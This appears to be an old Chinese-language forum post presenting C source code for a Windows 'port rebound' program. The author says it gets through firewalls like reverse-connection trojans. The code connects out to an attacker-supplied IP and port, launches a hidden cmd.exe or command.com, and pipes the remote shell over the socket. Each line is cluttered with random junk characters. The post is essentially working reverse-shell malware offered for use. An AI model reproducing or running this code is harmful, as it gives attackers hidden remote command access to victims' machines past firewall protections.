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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sBYDo{0 1  
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/* ============================== yH=<KYk  
Rebound port in Windows NT  6/#+#T  
By wind,2006/7 '%4fQ%ID}  
===============================*/ W**[:n+  
#include *+zFsu4l  
#include w,X)g{^T  
SHs [te[  
#pragma comment(lib,"wsock32.lib") Lc?"4  
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void OutputShell(); z:Tj0< A'  
SOCKET sClient; n-2!<`UFX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tH&eKM4G  
[<5/s$,i  
void main(int argc,char **argv) yZ 7)|j  
{ Vpp$yM&?  
WSADATA stWsaData; dH.Fb/7f  
int nRet; G62;p#  
SOCKADDR_IN stSaiClient,stSaiServer; >?OUs>}3y2  
hxj\  
if(argc != 3) l?$X.Cw X  
{ 6eUGE4NF(  
printf("Useage:\n\rRebound DestIP DestPort\n"); M*bsA/Z  
return; Y[vP]7-  
} 2+I5VPf  
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WSAStartup(MAKEWORD(2,2),&stWsaData); +,,dsL  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cLp_\\  
5 =8v\q?)c  
stSaiClient.sin_family = AF_INET; t\LE\[XM>  
stSaiClient.sin_port = htons(0); 50dN~(;p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )b (+=  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W!T[ ^+  
{ s-5 #P,Lw  
printf("Bind Socket Failed!\n"); 7FkiT  
return; BJ]L@L%  
} FX9WX b4w  
tV_3!7m0$  
stSaiServer.sin_family = AF_INET; s0]ZE\`H>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x0>N{ADXQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X.>~DT%0Lm  
n $N M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S"@6,  
{ 5FuV=Yuc  
printf("Connect Error!"); J/D~]U  
return; v(R^LqE  
} f+ZOE?"  
OutputShell(); U\, N  
} :R +BC2x  
F WU >WHX  
void OutputShell() -(e=S^36  
{ ^wc:qll  
char szBuff[1024]; @=P c{xp  
SECURITY_ATTRIBUTES stSecurityAttributes; v FQ]>n X  
OSVERSIONINFO stOsversionInfo;  6W  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; so1  
STARTUPINFO stStartupInfo; sN-u?EiF8  
char *szShell; KPDJ$,:  
PROCESS_INFORMATION stProcessInformation; {`k&Q +gY  
unsigned long lBytesRead; d&L  
r_+!3   
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uH? 4d!G  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x^_c4,i)  
stSecurityAttributes.lpSecurityDescriptor = 0; a!4p$pR  
stSecurityAttributes.bInheritHandle = TRUE; = 03G~7B>  
cUP1Uolvn  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?Fl O,|   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9{ge U9&Z  
nh0gT>a>@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <+r~?X_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8+7*> FD)1  
stStartupInfo.wShowWindow = SW_HIDE; RTvOaZ  
stStartupInfo.hStdInput = hReadPipe; (e~9T MY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |OAiHSW"V  
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GetVersionEx(&stOsversionInfo); J =8Y D"1  
z>0$SBQ-  
switch(stOsversionInfo.dwPlatformId) cZ !$XXA`  
{ _1O .{O  
case 1: 7O%^4D  
szShell = "command.com"; K:qc "Q=C  
break; vol (%wB  
default: } ,}g](!m  
szShell = "cmd.exe"; t~dK\>L  
break; x!W5'DO  
} /&G|.Cx  
ltU{P|7!E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P.Cn[64a+@  
6C"zBJcGc  
send(sClient,szMsg,77,0); y xT}hMa  
while(1) RrH{Y0  
{ rx;;|eb,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AqQ5L>:Gq  
if(lBytesRead) R>~I8k9mM  
{ ~.J*_0~Ze  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m5] a  
send(sClient,szBuff,lBytesRead,0); <h+@;/v:  
} jA2%kX\6//  
else tI^[|@,  
{ pRxVsOb  
lBytesRead=recv(sClient,szBuff,1024,0); FIAmAZH}_  
if(lBytesRead<=0) break; % jf|efxo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7rbw_m`12-  
} 'byTM?Sp{  
} (RrC<5"  
o(> #}[N}  
return; Z  eY *5m  
}
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